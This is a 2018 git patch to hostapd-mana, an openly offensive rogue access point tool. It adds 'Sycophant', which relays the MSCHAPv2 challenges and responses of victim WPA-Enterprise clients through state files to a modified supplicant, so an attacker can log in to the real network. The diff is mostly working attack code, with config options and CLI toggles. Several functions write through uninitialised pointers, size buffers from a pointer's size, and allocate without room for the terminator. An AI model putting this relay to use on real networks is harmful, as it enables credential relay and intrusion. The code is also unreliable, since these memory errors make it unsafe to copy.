From 4f557006f43631142654b83bc5c0f9dcf986e5c9 Mon Sep 17 00:00:00 2001 From: singe Date: Sat, 11 Aug 2018 10:07:38 -0400 Subject: [PATCH] Merging @cablethief's Sycophant Work This is all Michael Kruger's work. I merely cleaned it up, and I suspect introduced several bugs. Mana now includes an enable_sycophant and sycophant_dir config directives. Sycophant maintains state between wpa_sycophant and mana through the use of a state file that will be written to sycophant_dir. Additionally, the identity, challenge and response data are passed between the two using files too. --- hostapd/config_file.c | 19 +++++- hostapd/ctrl_iface.c | 32 +++++++++ hostapd/hostapd.conf | 12 +++- hostapd/hostapd_cli.c | 15 +++++ hostapd/main.c | 9 +-- src/ap/ap_config.h | 2 + src/eap_server/eap_server.c | 44 +++++++++++-- src/eap_server/eap_server_mschapv2.c | 99 ++++++++++++++++++++++++++++ 8 files changed, 220 insertions(+), 12 deletions(-) diff --git a/hostapd/config_file.c b/hostapd/config_file.c index 25e23be5..d4bc1e42 100644 --- a/hostapd/config_file.c +++ b/hostapd/config_file.c @@ -2204,6 +2204,21 @@ static int hostapd_config_fill(struct hostapd_config *conf, if (conf->mana_eaptls) { wpa_printf(MSG_DEBUG, "MANA: EAP TLS modes will accept any client certificate."); } + } else if (os_strcmp(buf, "enable_sycophant") == 0) { + int val = atoi(pos); + conf->enable_sycophant = (val != 0); + if (conf->enable_sycophant) { + wpa_printf(MSG_DEBUG, "SYCOPHANT: Enabled"); + } + } else if (os_strcmp(buf, "sycophant_dir") == 0) { + char *tmp = malloc(strlen(pos)); + strcpy(tmp,pos); + if (access(pos, W_OK) != 0) { + wpa_printf(MSG_ERROR, "SYCOPHANT: Line %d: Failed to access sycophant directory '%s'", line, pos); + return 1; + } + conf->sycophant_dir = tmp; + wpa_printf(MSG_INFO, "MANA: Sycohpant state directory set to %s.",tmp); // MANA END } else if (os_strcmp(buf, "dump_file") == 0) { wpa_printf(MSG_INFO, "Line %d: DEPRECATED: 'dump_file' configuration variable is not used anymore", @@ -3723,9 +3738,11 @@ struct hostapd_config * hostapd_config_read(const char *fname) conf->mana_outfile = "NOT_SET"; //default none conf->mana_ssid_filter_file = "NOT_SET"; //default none conf->mana_wpe = 0; //default off; 1 - dump credentials captured during EAP exchanges 0 - function as normal - conf->mana_credout = "NOT_SET"; //default non + conf->mana_credout = "NOT_SET"; //default none conf->mana_eapsuccess = 0; //default off; 1 - allow clients to connect even with incorrect creds 0 - function as normal conf->mana_eaptls = 0; //default off; 1 - accept any client certificate presented in EAP-TLS modes. 0 - validate certificates as normal. + conf->enable_sycophant = 0; //default off; 1 - relay inner MSCHAPv2 authentication with wpa_sycophant. 0 - No relaying + conf->sycophant_dir = "NOT_SET"; //default none // MANA END while (fgets(buf, sizeof(buf), f)) { diff --git a/hostapd/ctrl_iface.c b/hostapd/ctrl_iface.c index 9dcf7395..2bc81971 100644 --- a/hostapd/ctrl_iface.c +++ b/hostapd/ctrl_iface.c @@ -247,6 +247,24 @@ static int hostapd_ctrl_iface_mana_get_eaptlsmode (struct hostapd_data *hapd) wpa_printf(MSG_DEBUG, "MANA CTRL_IFACE EAPTLS MODE STATUS QUERY"); return hapd->iconf->mana_eaptls; } + +static int hostapd_ctrl_iface_sycophant_enable_disable (struct hostapd_data *hapd, int status) +{ + if (status) { + wpa_printf(MSG_DEBUG, "SYCOPHANT CTRL_IFACE ENABLED"); + } else { + wpa_printf(MSG_DEBUG, "SYCOPHANT CTRL_IFACE DISABLED"); + } + hapd->iconf->enable_sycophant = status; + + return 0; +} + +static int hostapd_ctrl_iface_sycophant_get_state (struct hostapd_data *hapd) +{ + wpa_printf(MSG_DEBUG, "SYCOPHANT CTRL_IFACE STATUS QUERY"); + return hapd->iconf->enable_sycophant; +} // MANA END #ifdef CONFIG_IEEE80211W @@ -2773,6 +2791,20 @@ static int hostapd_ctrl_iface_receive_process(struct hostapd_data *hapd, os_memcpy(reply, "MANA EAPTLS MODE DISABLED\n", 26); reply_len = 26; } + } else if (os_strcmp(buf, "SYCOPHANT_DISABLE") == 0) { + if (hostapd_ctrl_iface_sycophant_enable_disable(hapd, 0)) + reply_len = -1; + } else if (os_strcmp(buf, "SYCOPHANT_ENABLE") == 0) { + if (hostapd_ctrl_iface_sycophant_enable_disable(hapd, 1)) + reply_len = -1; + } else if (os_strcmp(buf, "SYCOPHANT_STATE") == 0) { + if (hostapd_ctrl_iface_sycophant_get_state(hapd)) { + os_memcpy(reply, "SYCOPHANT ENABLED\n", 18); + reply_len = 18; + } else { + os_memcpy(reply, "SYCOPHANT DISABLED\n", 19); + reply_len = 19; + } // END MANA } else { os_memcpy(reply, "UNKNOWN COMMAND\n", 16); diff --git a/hostapd/hostapd.conf b/hostapd/hostapd.conf index 86f9065c..478a08dd 100644 --- a/hostapd/hostapd.conf +++ b/hostapd/hostapd.conf @@ -52,12 +52,22 @@ mana_macacl=0 # from the cracking string by a tab if you'd like to grep & cut. #mana_credout=hostapd.credout -# Enabled EAP Success mode (from WPE) +# Enable EAP Success mode (from WPE) # Allow clients to connect with incorrect credentials # Most often, when rogue AP'ing you won't have the clients creds # But still want a shot at collecting them via MitM #mana_eapsuccess=1 +# Enabled Sycophant +# Allows relaying of inner EAP authentication methods with a modified wpa_supplicant +# wpa_sycophant is available at https://github.com/sensepost/wpa_sycophant +#enable_sycophant=1 + +# Sycophant state file directory +# Sycophant communicates with wpa_sycophant through several files +# This specifies the location of those files +#sycophant_dir=/tmp/ + ##### hostapd configuration file ############################################## # Empty lines and lines starting with # are ignored diff --git a/hostapd/hostapd_cli.c b/hostapd/hostapd_cli.c index e1c8ff5c..1183c4b6 100644 --- a/hostapd/hostapd_cli.c +++ b/hostapd/hostapd_cli.c @@ -431,6 +431,18 @@ static int hostapd_cli_cmd_mana_get_eaptls(struct wpa_ctrl *ctrl, int argc, char { return wpa_ctrl_command(ctrl, "MANA_EAPTLS_STATE"); } +static int hostapd_cli_cmd_sycophant_disable(struct wpa_ctrl *ctrl, int argc, char *argv[]) +{ + return wpa_ctrl_command(ctrl, "SYCOPHANT_DISABLE"); +} +static int hostapd_cli_cmd_sycophant_enable(struct wpa_ctrl *ctrl, int argc, char *argv[]) +{ + return wpa_ctrl_command(ctrl, "SYCOPHANT_ENABLE"); +} +static int hostapd_cli_cmd_sycophant_get_state(struct wpa_ctrl *ctrl, int argc, char *argv[]) +{ + return wpa_ctrl_command(ctrl, "SYCOPHANT_STATE"); +} // END MANA @@ -1483,6 +1495,9 @@ static const struct hostapd_cli_cmd hostapd_cli_commands[] = { { "mana_eaptls_off", hostapd_cli_cmd_mana_eaptls_disable, NULL, "= disable mana's eaptls mode" }, { "mana_eaptls_on", hostapd_cli_cmd_mana_eaptls_enable, NULL, "= enable mana's eaptls mode" }, { "mana_eaptls_state", hostapd_cli_cmd_mana_get_eaptls, NULL, "= check mana's eaptls mode" }, + { "sycophant_get_state", hostapd_cli_cmd_sycophant_get_state, NULL, "= get whether sycophant is enabled or not" }, + { "sycophant_disable", hostapd_cli_cmd_sycophant_disable, NULL, "= disable sycophant" }, + { "sycophant_enable", hostapd_cli_cmd_sycophant_enable, NULL, "= enable sycophant" }, // END MANA { NULL, NULL, NULL, NULL } diff --git a/hostapd/main.c b/hostapd/main.c index 4cba12f9..90e0e3c1 100644 --- a/hostapd/main.c +++ b/hostapd/main.c @@ -455,11 +455,12 @@ static void show_version(void) //"and contributors\n"); "and contributors\n" "--------------------------------------------------\n" - "MANA (ManInTheMiddle And Network Attack)\n" - "See https://github.com/sensepost/hostapd-mana for more\n" - "By singe (dominic@sensepost.com) & ian (ian@sensepost.com)\n" + "MANA https://github.com/sensepost/hostapd-mana\n" + "By @singe (dominic@sensepost.com)\n" + "Original MANA EAP by Ian (ian@sensepost.com)\n" "Original karma patches by Robin Wood - robin@digininja.org\n" - "Original EAP patches by Brad Antoniewicz @brad_anton\n"); + "Original EAP patches by Brad Antoniewicz @brad_anton\n" + "Sycophant by Michael Kruger @_cablethief"); } diff --git a/src/ap/ap_config.h b/src/ap/ap_config.h index 79be510a..6b1dce76 100644 --- a/src/ap/ap_config.h +++ b/src/ap/ap_config.h @@ -622,6 +622,8 @@ struct hostapd_config { char * mana_credout; int mana_eapsuccess; int mana_eaptls; + int enable_sycophant; + char * sycophant_dir; // MANA END u16 beacon_int; diff --git a/src/eap_server/eap_server.c b/src/eap_server/eap_server.c index 0de1feb6..1aa1aeda 100644 --- a/src/eap_server/eap_server.c +++ b/src/eap_server/eap_server.c @@ -164,9 +164,6 @@ int eap_user_get(struct eap_sm *sm, const u8 *identity, size_t identity_len, int phase2) { struct eap_user *user; - char ident = 't'; - - wpa_printf(MSG_INFO, "MANA EAP Identity Phase %d: %.*s", phase2, (int)identity_len, identity); if (sm == NULL || sm->eapol_cb == NULL || sm->eapol_cb->get_eap_user == NULL) @@ -179,10 +176,45 @@ int eap_user_get(struct eap_sm *sm, const u8 *identity, size_t identity_len, if (user == NULL) return -1; - if(phase2) { - identity = (const u8 *)&ident; - identity_len = 1; + //MANA START + if (mana.conf->enable_sycophant && os_strcmp("NOT_SET",mana.conf->sycophant_dir) != 0) { + char sup_state[2] = "*"; + FILE* sycophantState; + char* sycophantStateFile; + os_strlcpy(sycophantStateFile,mana.conf->sycophant_dir,sizeof(mana.conf->sycophant_dir)); + strcat(sycophantStateFile,"SYCOPHANT_STATE"); + sycophantState = fopen(sycophantStateFile,"rb"); + if (sycophantState != NULL) { + fread(sup_state,1,1,sycophantState); + fclose(sycophantState); + } + if (os_strcmp(sup_state,"I") == 0) { + FILE* sycophantID; + char* sycophantIDFile; + os_strlcpy(sycophantIDFile,mana.conf->sycophant_dir,sizeof(mana.conf->sycophant_dir)); + if (phase2) + strcat(sycophantIDFile,"SYCOPHANT_P2ID"); + else + strcat(sycophantIDFile,"SYCOPHANT_P1ID"); + sycophantID = fopen(sycophantIDFile, "wb"); + + if (sycophantID != NULL) { + fwrite(identity,identity_len,1,sycophantID); + fclose(sycophantID); + } else + wpa_printf(MSG_ERROR,"SYCOPHANT: Unable to open Sycophant Stage %d Identity File %s",phase2,sycophantIDFile); + } } + if (mana.conf->mana_wpe || mana.conf->enable_sycophant) { + wpa_printf(MSG_INFO, "MANA EAP Identity Phase %d: %.*s", phase2, (int)identity_len, identity); + if (phase2) { + char ident = 't'; // This must match the entry in the hostapd.eap_user RADIUS config file + identity = (const u8 *)&ident; + identity_len = 1; + } + } + //MANA END + if (sm->eapol_cb->get_eap_user(sm->eapol_ctx, identity, identity_len, phase2, user) != 0) { eap_user_free(user); diff --git a/src/eap_server/eap_server_mschapv2.c b/src/eap_server/eap_server_mschapv2.c index 476370a8..5fe6e252 100644 --- a/src/eap_server/eap_server_mschapv2.c +++ b/src/eap_server/eap_server_mschapv2.c @@ -126,6 +126,60 @@ static struct wpabuf * eap_mschapv2_build_challenge( ms->mschapv2_id = id; WPA_PUT_BE16(ms->ms_length, ms_len); + //MANA SYCOPHANT START + if (mana.conf->enable_sycophant) { + char sup_state[2] = "*"; + FILE* sycophantState; + char* sycophantStateFile; + os_strlcpy(sycophantStateFile,mana.conf->sycophant_dir,sizeof(mana.conf->sycophant_dir)); + strcat(sycophantStateFile,"SYCOPHANT_STATE"); + sycophantState = fopen(sycophantStateFile,"rb"); + + while (os_strcmp(sup_state,"C") != 0) { + if (sycophantState == NULL) { + wpa_printf (MSG_ERROR,"SYCOPHANT: Unable to open state file %s, not relaying",sycophantStateFile); + break; + } else { + fread(sup_state,1,1,sycophantState); + fclose(sycophantState); + if (strcmp(sup_state,"Z") == 0) { + break; + } + usleep(10000); //Prevent thrashing + } + } + + if (strcmp(sup_state,"C") == 0) { + FILE* challengeIn; + char* challengeInFile; + os_strlcpy(challengeInFile,mana.conf->sycophant_dir,sizeof(mana.conf->sycophant_dir)); + strcat(challengeInFile,"CHALLENGE"); + challengeIn = fopen(challengeInFile, "rb"); + if (challengeIn == NULL) { + wpa_printf(MSG_ERROR, "SYCOPHANT: Could not open challenge file %s",challengeInFile); + } else { + fseek(challengeIn, 0, SEEK_END); + if (ftell(challengeIn) > 0) { + rewind(challengeIn); + u8 line [CHALLENGE_LEN]; + fread(line, CHALLENGE_LEN, 1, challengeIn); + wpa_hexdump(MSG_DEBUG, "SYCOPHANT: Incoming MSCHAPv2 challenge", line, CHALLENGE_LEN); + memcpy(data->auth_challenge, line, CHALLENGE_LEN); + fclose(challengeIn); + // Blank file + challengeIn = fopen(challengeInFile, "wb"); + fclose(challengeIn); + } else { + fclose(challengeIn); + usleep(1000); // Prevent thrashing + } + } + // TODO: find replace for all these random youtube vids + // https://www.youtube.com/watch?v=QUNJ5TRRYqg + } + } + //MANA SYCOPHANT END + wpabuf_put_u8(req, CHALLENGE_LEN); if (!data->auth_challenge_from_tls) wpabuf_put_data(req, data->auth_challenge, CHALLENGE_LEN); @@ -302,6 +356,51 @@ static void eap_mschapv2_process_response(struct eap_sm *sm, resp = (struct eap_mschapv2_hdr *) pos; pos = (u8 *) (resp + 1); + //MANA SYCOPHANT START + if (mana.conf->enable_sycophant) { + char sup_state[2] = "*"; + FILE* sycophantState; + char* sycophantStateFile; + os_strlcpy(sycophantStateFile,mana.conf->sycophant_dir,sizeof(mana.conf->sycophant_dir)); + strcat(sycophantStateFile,"SYCOPHANT_STATE"); + sycophantState = fopen(sycophantStateFile,"rb"); + + if (sycophantState != NULL) { + fread(sup_state,1,1,sycophantState); + fclose(sycophantState); + } else { + wpa_printf (MSG_ERROR,"SYCOPHANT: Unable to open state file %s, not relaying",sycophantStateFile); + } + + if (strcmp(sup_state,"C") == 0) { + FILE* responseOut; + char* responseOutFile; + os_strlcpy(responseOutFile,mana.conf->sycophant_dir,sizeof(mana.conf->sycophant_dir)); + strcat(responseOutFile,"RESPONSE"); + responseOut = fopen(responseOutFile, "wb"); + if (responseOut == NULL) { + wpa_printf(MSG_ERROR, "SYCOPHANT: Could not open response file %s",responseOutFile); + } else { + fwrite(respData->buf,respData->used,1,responseOut); + wpa_hexdump(MSG_DEBUG, "SYCOPHANT: Response to be sent to supplicant", respData->buf, respData->used); + fclose(responseOut); + } + } + + // Inform of our readyness + sycophantState = fopen(sycophantStateFile,"wb"); + + if (sycophantState != NULL) { + sup_state[0] = 'R'; + fwrite(sup_state,1,1,sycophantState); + fclose(sycophantState); + wpa_printf(MSG_INFO,"SYCOPHANT: MSCHAPv2 Response handed off to supplicant."); + } else { + wpa_printf (MSG_ERROR,"SYCOPHANT: Unable to open state file %s",sycophantStateFile); + } + } + //MANA SYCOPHANT END + if (len < sizeof(*resp) + 1 + 49 || resp->op_code != MSCHAPV2_OP_RESPONSE || pos[0] != 49) {